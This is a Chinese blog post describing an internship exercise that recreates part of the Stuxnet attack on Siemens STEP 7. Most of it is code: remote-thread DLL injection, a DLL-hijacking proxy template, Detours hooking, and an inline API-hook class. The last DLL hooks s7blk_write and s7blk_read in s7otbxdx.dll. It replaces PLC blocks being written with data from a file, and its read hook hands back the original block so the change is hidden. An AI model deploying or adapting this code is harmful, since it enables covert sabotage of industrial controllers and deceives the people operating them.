现在的位置: 首页 > 综合 > 正文

DLL HOOK 技术与 Stuxent

2014年02月15日 ⁄ 综合 ⁄ 共 10933字 ⁄ 字号 评论关闭

写这篇文章的时候,已经是一周后了,因为考试的原因在学校逗留了很久,4级可能又要跪了,听力听到最后竟然发现多了一题,What the kuck!

不过所幸编译原理,抄到了同学的,很happy的玩了会wow,考考古钓钓鱼,发现踏风武僧PK果断很弱,不过熊猫人囧囧的眼神还是很可爱的,平安夜前夕嗓子无故疼痛

没有和大家去唱歌,抱着2.5L的大瓶农夫山泉在电脑前一顿猛喝,默默想哥是不是得铁线虫了,世界末日都熬过来了,却要惨死在平安夜里,不禁心中泛起一丝悲凉,于是乎

把一个月前答应别人的明信片依次寄了出去,杀了杀部落小号,打了一局LOL拿了首胜,看了泰囧,洗漱完毕,觉得生无可恋躺到床上等死,灵魂正游荡于乌有之乡,忽然想起还有这么一篇博客没有写,陡然惊醒,爬起来写博客,后人写诗赞曰:垂死病中惊坐起,芙蓉帐暖写博客。

------------------------------------------我是莫名其妙的分割线---------------------------------------------------------------------------------

几个月后被问到,怎样dll注入的问题,竟然没答出个大概,这里补充一下DLL注入前面的一部分,怎样把写好的DLL注入到指定进程的地址空间。

这里大概需要几个Win API函数,

(1) 利用Windows API OpenProcess打开宿主进程

(2) 利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间

(3) 利用Windows API WriteProcessMemory函数将完整路径写入该存储空间

(4) 利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址

(5)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL

粘了一下别人的程序

//打开目标进程
    HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,g_Pid);

    if (!hProcess)
    {
        AfxMessageBox(TEXT("打开进程失败"));
        return;
    }
    //在目标进程申请一段内存区域 来存放DLL路径
    LPVOID pRemoteBase=VirtualAllocEx(hProcess,NULL,0x1000,MEM_COMMIT,PAGE_READWRITE);
    if (pRemoteBase==NULL)
    {
        AfxMessageBox(TEXT("申请内存区域失败"));
        return;
    }
    //在目标进程中写入DLL路径 写入的长度要+1 字符串终止符
    if (!WriteProcessMemory(hProcess,pRemoteBase,(LPTSTR)(LPCTSTR)DllPath,DllPath.GetLength()+1,NULL))
    {
        AfxMessageBox(TEXT("进程写入失败"));
        //失败就释放原先申请的内存区域 撤销内存页的提交状态
        VirtualFreeEx(hProcess,pRemoteBase,0x1000,MEM_DECOMMIT);
        return;
    }
    //得到LoadLibraryA的函数地址  因为Kernel32的加载地址在每个应用程序中都一样
    LPTHREAD_START_ROUTINE pfn=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA");
    //创建远程线程 执行加载
    HANDLE hRemoteThread = CreateRemoteThread(hProcess,NULL,0,pfn,pRemoteBase,0,NULL);
    if (hRemoteThread==NULL)
    {
        AfxMessageBox(TEXT("创建远程线程失败"));
        //释放原先申请的内存区域 撤销内存页的提交状态
        VirtualFreeEx(hProcess,pRemoteBase,0x1000,MEM_DECOMMIT);
        return;

    }
    AfxMessageBox(TEXT("成功注入"));
    //等待线程退出
    WaitForSingleObject(hRemoteThread,-1);
    //释放原先申请的内存区域 撤销内存页的提交状态
    VirtualFreeEx(hProcess,pRemoteBase,0x1000,MEM_DECOMMIT);
    //关闭句柄
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);

 

//================================================割鸡鸡========================================================

 

言归正传,实习过程中要实现一个DLL HOOK的功能,大概是还原Stuxent攻击过程的一个小模块,目的是HOOK s7otbxdx.dll 这个动态连接库中的s7blk_write这个函数,

Stuxent在入侵过程中,会下载一个s7otbxdx.dll 劫持掉 SIMATIC STEP 7 所使用的真正的DLL,当PC机连接PLC的时候,会拦截正常指令换成恶意的代码,并且拦截了STEP 7

的系统警告,与运行状态监控,从中剔除掉危险的信息,这招极其阴毒。不过所幸的,我只需要实现读出 s7blk_write这个函数中的某些数据就可以,应该比较简单。

这是Stuxent劫持DLL的详细报告http://www.symantec.com/connect/blogs/stuxnet-1

通过伟哥给的信息和百度,大概总结了DLL HOOK的两种主要方式,DLL劫持,DLL注入。

DLL劫持的还比较简单,因为应用程序在寻找DLL是会先在本目录下寻找,再去系统目录下寻找,微软为了不让系统目录中的DLL看起来乱七八糟而采用了这种做法,

而我们只要用一个与原DLL有相同导出函数的DLL替换掉原DLL就可以实现HOOK,简单方便。关于这个DLL的导出函数,使用IDA的Hex-Rays.Decompiler插件可以把DLL

翻译成c代码,尽管有一些会不准确,或者使用AheadLib这个工具直接可以生成可以使用的DLL c代码,不过依然是代码不够准确需要修改,在原DLL有几百个导出函数时,

并不是一种可行的方法。

关于DLL劫持的结构大概如下,声明函数不需要包含参数,因为在调用前参数已经被push,直接JMP到真实函数地址即可运行,当然在DLL初始化的时候需要load原DLL

#pragma comment(linker, "/EXPORT:FuncationName=MyFuncationName,@1")
MyFuncationName(void)
{
 GetAddress("FuncationName");
 __asm JMP EAX;
}

DLL注入的方法,实现的途径也比较多,微软提供了一个小型的库detour来实现,detour的编译过程比较蛋疼,网上的教程良莠不齐,大体过程是这样,

(1) 下载Detour并安装,一路下一步
(2) 把nmake配置到PATH中,或者运行vc\bin目录下的vcvars32.bat也可以
(3) 把Microsoft Research\Detours Express 2.1\src 整个移动到 vc文件夹下
(4) 把\Microsoft Research\Detours Express 3.0下的system.mak移动到 vc 文件夹下
(5) cmd到vc目录下执行nmake,会在lib目录下生成detours.lib,使用detour这个库只需要这一个lib文件
(6) \Microsoft Research\Detours Express 3.0\sample 是一些小工具这次我们要用到withdll
(7)直接进入,sample\withdll 文件夹下 nmake,之前最好先编译setdll和syslog两个文件

程序实现就比较简单了,使用withdll /d:detour.dll main.exe 就可以看到结果,注意detour.dll中的Hook函数一定要是导出的,这样才能被withdll捕捉到

main.exe

typedef void (*func)();

int _tmain(int argc, _TCHAR* argv[])
{
HMODULE h = LoadLibrary(_T("target.dll"));
if (h == NULL) {
printf("Load target.dll failed.\n");
return 1;
}

func f = (func)GetProcAddress(h, "test");
if (f == NULL) {
printf("Load function failed.\n");
}
f();

getchar();
}

target.dll

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
printf("target.dll loaded.\n");
return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif

void test() {
printf("This is test function in target module.\n");
}

detour.dll

typedef void (*func)();
void my_test() {
printf("Func replaced in detour.dll!!\n");
}
func old = NULL;
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
LONG error;
(void)hinst;
(void)reserved;
    if (dwReason == DLL_PROCESS_ATTACH) { //加载
printf("detour.dll: Starting.\n"); 
fflush(stdout);
       printf("DLLs:\n");   //共调试用, 列出当前加载的模块
for (HMODULE hModule = NULL; (hModule = DetourEnumerateModules(hModule)) != NULL;) {
wchar_t szName[MAX_PATH];
GetModuleFileName(hModule, szName, sizeof(szName));
printf("  %p: %S\n", hModule, szName);
}
        PVOID f = DetourFindFunction("target.dll", "test"); //要提花的函数是target.dll中的test
if (f == NULL) {  //没找到, 直接返回
printf("func == null.\n");
return TRUE;
}
        old = (func)f; //保存旧函数
        DetourRestoreAfterWith();  //开始准备替换工作
        DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&f, my_test);  //替换!! 替换成my_test() 函数
error = DetourTransactionCommit(); //提交修改, 并检查返回值
        if (error == NO_ERROR) {
printf("detor.dll: Detoured function replaced!\n");
}
        else {
printf("detor.dll: Error detouring function: %d\n", error);
}
    }
   else if (dwReason == DLL_PROCESS_DETACH) { //程序退出的时候回复原来的函数
DetourTransactionBegin(); 
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)old, my_test);
error = DetourTransactionCommit();
fflush(stdout);
}
return TRUE;
}

关于detour的原理稍微说一下,他用到了一个很巧妙的Trampoline函数,来实现跳回原函数

具体可以看这里http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html

关于怎么建立一个dll的教程http://blog.csdn.net/XXKKFF/article/details/1522632

写到这里觉得胜利只是一步之遥了,但是在实际的SIMATIC STEP 7的注入以及HOOk中,detour却频繁报错,使我不得不换另外一种方法。

手动写HOOK所用的DLL,在通过DLL注入工具注入到进程中,以达到HOOK函数目的,

这里伟哥给出了一个类似的Demo

APIHook.cpp

//

#include "APIHook.h"
#pragma  comment(lib, "Wininet.lib") 

CAPIHook::CAPIHook(LPSTR pszModName, LPSTR pszFuncName, PROC pfnHook)
{
	// 生成新的执行代码
	//0xB8, 0x0F, 0x10, 0x40, 0x00, 0xFF, 0xE0
	BYTE btNewBytes[8] = { 0x0B8, 0x0, 0x0, 0x40, 0x0, 0x0FF, 0x0E0, 0 }; 
	memcpy(m_btNewBytes, btNewBytes, 8);
	*(DWORD *)(m_btNewBytes + 1) = (DWORD)pfnHook; 

	// 加载指定模块
	//m_hModule = GetModuleHandle(pszModName);
	//if(m_hModule==NULL)
	//{
		m_hModule = ::LoadLibrary(pszModName);
	//}
	if(m_hModule == NULL)
	{
		m_pfnOrig = NULL;
		return;
	}
	m_pfnOrig = ::GetProcAddress(m_hModule, pszFuncName);


	// 修改原API函数执行代码的前8个字节,使它跳向我们的函数
	if(m_pfnOrig != NULL)
	{
		DWORD dwOldProtect;
		MEMORY_BASIC_INFORMATION    mbi;
		VirtualQuery( m_pfnOrig, &mbi, sizeof(mbi) );
		VirtualProtect(m_pfnOrig, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);

		// 保存原来的执行代码
		memcpy(m_btOldBytes, m_pfnOrig, 8);
		// 写入新的执行代码
		::WriteProcessMemory(::GetCurrentProcess(), (void *)m_pfnOrig, 
						m_btNewBytes, sizeof(DWORD)*2, NULL); 
	
		VirtualProtect(m_pfnOrig, 8, mbi.Protect, 0);
	}
}

CAPIHook::~CAPIHook()
{
	Unhook();
	if(m_hModule != NULL)
		::FreeLibrary(m_hModule);
}


void CAPIHook::Rehook()
{
	// 修改原API函数执行代码的前8个字节,使它跳向我们的函数
	if(m_pfnOrig != NULL)
	{
		DWORD dwOldProtect;
		MEMORY_BASIC_INFORMATION    mbi;
		VirtualQuery( m_pfnOrig, &mbi, sizeof(mbi) );
		VirtualProtect(m_pfnOrig, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);

		// 写入新的执行代码
		::WriteProcessMemory(::GetCurrentProcess(), (void *)m_pfnOrig, 
						m_btNewBytes, sizeof(DWORD)*2, NULL); 
	
		VirtualProtect(m_pfnOrig, 8, mbi.Protect, 0);
	}
}

void CAPIHook::Unhook()
{
	if(m_pfnOrig != NULL)
	{
		DWORD dwOldProtect;
		MEMORY_BASIC_INFORMATION    mbi;
		VirtualQuery(m_pfnOrig, &mbi, sizeof(mbi));
		VirtualProtect(m_pfnOrig, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);

		// 写入原来的执行代码
		::WriteProcessMemory(::GetCurrentProcess(), (void *)m_pfnOrig, 
						m_btOldBytes, sizeof(DWORD)*2, NULL); 
	
		VirtualProtect(m_pfnOrig, 8, mbi.Protect, 0);
	}
}

APIHook.h

//////////////////////////////////////////////////////////
// ApiHook.h

#ifndef __APIHOOK_H__
#define __APIHOOK_H__

#include <windows.h>

class CAPIHook
{
public:
	CAPIHook(LPSTR pszModName, LPSTR pszFuncName, PROC pfnHook);
	~CAPIHook();

	void Unhook();
	void Rehook();
public:
	PROC m_pfnOrig;                 // 那个函数的真正地址
protected:
	
	BYTE m_btNewBytes[8]; 
	BYTE m_btOldBytes[8];
	HMODULE m_hModule;
};

#endif // __APIHOOK_H__

只要再写一个DLL就可以了,这里注意三点,

(1) DLLMain一定要返回true,这是dll是否加载成功的标志,不然DLL会被秒卸载掉

(2) 在Hook的时候尽量使用WinAPI函数,可以减少不必要的出错

(3) 在使用ollydbg调试的时候,设置断点的行,会把对该行的修改改成中断,所以设置断点的行不会被修改。

// step7inject.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "APIHook.h"
#include <stdlib.h>
#include <stdio.h>
#define MAXSIZE 512

void DumpData(int a7, int a8)
{
	DWORD dwOldProtect;
	MEMORY_BASIC_INFORMATION    mbi;
	VirtualQuery((PROC)a7, &mbi, sizeof(mbi));
	VirtualProtect((PROC)a7, a8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	
	BYTE data[MAXSIZE];
	char strData[MAXSIZE];
	memcpy(data,(void*)a7,a8);
	char length[10] = {0};
	//sprintf("%08x", l)
	
	DWORD nBytes;
	HANDLE hOpenFile = (HANDLE)CreateFile(LPCSTR("c:\\dumpBin.txt"), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
	WriteFile(hOpenFile, &a8, 4 ,&nBytes,NULL);
	WriteFile(hOpenFile, data, a8 ,&nBytes,NULL);
	CloseHandle(hOpenFile);

	hOpenFile = (HANDLE)CreateFile(LPCSTR("c:\\dumpHex.txt"), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
	if (hOpenFile != INVALID_HANDLE_VALUE){
		for(int i=0;i<a8;i++){
			if (data[i]<16)
				sprintf(strData,"0%x ",data[i]);
			else
				sprintf(strData,"%x ",data[i]);
			WriteFile(hOpenFile,strData, strlen(strData) ,&nBytes,NULL);
			if (i%16==0 && i!=0)
				WriteFile(hOpenFile,"\n", strlen("\n") ,&nBytes,NULL);
		}
		CloseHandle(hOpenFile);
	}
	
	VirtualProtect((PROC)a7, a8, mbi.Protect, 0);
}
/*
a[9..c] = 58 = length
a[4..5] = 02 = 序号
a[2..3] = 0C = type
a[2a..] = type description
a[50..54] = 00 00 10 00
*/
char oldData[2048] = {0};
int op;
CAPIHook * HookWrite;
typedef int ( __stdcall *my_s7blk_write)(int a1, int a2, int a3, int a4, __int16 a5, __int16 a6, int buffer, int length);
extern "C" int __stdcall s7blk_write_0(int a1, int a2, int a3, int a4, __int16 a5, __int16 a6, int a7, int a8)
{
	int ret;
	if(op == 0)
	{
		MessageBox(NULL,"DumpGo","title",MB_OK);
		DumpData(a7,a8);
		MessageBox(NULL,"DumpDone","title",MB_OK);
		HookWrite->Unhook();
		ret = ((my_s7blk_write)HookWrite->m_pfnOrig)(a1,a2,a3,a4,a5,a6,a7,a8);
		HookWrite->Rehook();
	}
	else if(op == 1)
	{
		char * data = NULL;
		DWORD nBytes;
		HANDLE hOpenFile = (HANDLE)CreateFile(LPCSTR("c:\\dumpBin.txt"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL);
		char length[10] = {0};	
		ReadFile(hOpenFile, length, 4 ,&nBytes,NULL);
		int l = ((int *)length)[0];
		data = (char *)malloc(l);
		ReadFile(hOpenFile, data, l, &nBytes,NULL);
		CloseHandle(hOpenFile);

		HookWrite->Unhook();
		if(memcmp(data, (char *)a7, 6) == 0)
		{
			memcpy(oldData, &a8, 4);
			memcpy(&oldData[4], (char *)a7, a8);
			ret = ((my_s7blk_write)HookWrite->m_pfnOrig)(a1,a2,a3,a4,a5,a6,(int)data,l);
		}
		else
			ret = ((my_s7blk_write)HookWrite->m_pfnOrig)(a1,a2,a3,a4,a5,a6,a7,a8);
		HookWrite->Rehook();
		if(data)
			delete data;
	}
	
	return ret;
}

CAPIHook * HookRead;
typedef int ( __stdcall *my_s7blk_read)(int a2, int a3, int a4, int a5, __int16 a6, __int16 a7, int offset, int length, int a10);  //(char **); (char *)((*(char*)offset))
extern "C" int __stdcall  s7blk_read_0(int a2, int a3, int a4, int a5, __int16 a6, __int16 a7, int a8, int a9, int a10)
{
	int ret;
	HookRead->Unhook();
	ret = ((my_s7blk_read)HookRead->m_pfnOrig)(a2,a3,a4,a5,a6,a7,a8,a9,a10);

	char * newdata = (char *)(((int*)a8)[0]);
	if(memcmp(&oldData[4], newdata, 6) == 0)
	{
		((int *)a8)[0] = int(&oldData[4]);
	}

	HookRead->Rehook();
	return ret;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved){
	if (dwReason == DLL_PROCESS_ATTACH) {
		HookWrite = new CAPIHook("s7otbxdx.dll", "s7blk_write",(PROC)s7blk_write_0);
		HookRead = new CAPIHook("s7otbxdx.dll", "s7blk_read",(PROC)s7blk_read_0);
		op = 1;
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		if(HookWrite)
			HookWrite->Unhook();
		if(HookRead)
			HookRead->Unhook();
	}
	return true;
}

DLL HOOK手动编写的教程

http://www.programfan.com/club/showpost.asp?id=13644


抱歉!评论已关闭.